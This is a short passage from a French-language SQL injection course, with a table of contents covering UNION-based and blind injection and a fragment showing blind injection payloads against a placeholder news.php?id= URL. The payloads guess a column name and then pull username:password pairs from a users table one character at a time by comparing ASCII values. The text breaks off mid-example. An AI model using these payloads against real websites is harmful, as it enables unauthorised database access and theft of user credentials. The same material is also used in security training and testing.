Cours D'injection SQL
Cours D'injection SQL
Cours D'injection SQL
__________
Chapitre I)
__________
0) Description : SQL INJECTION.
1) Comment reconnaitre quun site est vulnrable a un SQL ?
2) Trouver le nombre de colomns.
3) Utiliser la fonction UNION.
4) Trouver la version du MySQL.
5) Trouver les noms des colomns et tables et lexploitation.
__________
Chapitre II)
__________
1) Description : Blind SQL INJECTION.
2) Comment reconnaitre quun site est vulnrable au BLIND SQL ?
3) Trouver la version du MySQL.
4) Tester si la slection marche.
5) Trouver les noms des colomns et tables et lexploitation.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
disons que nous avons trouver la table.. maintenant nous avons besoin
du nom de la colonne..
tout comme cela du nom de table, nous commencons la devinette !!
http://www.site.com/news.php?id=5 and (select
substring(concat(1,password),1,1) from users limit 0,1)=1
Si la page se charge normalement, alors le nom de la colonne est
password.
Ainsi , nous avons la table et la colonne , exploitons
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>80
Nous continuons a changer le 80 jusqua trouver une erreur,
suivez bien lexemple:
>>>>>>>>>>>>>>>>>>>>>>>>>>>>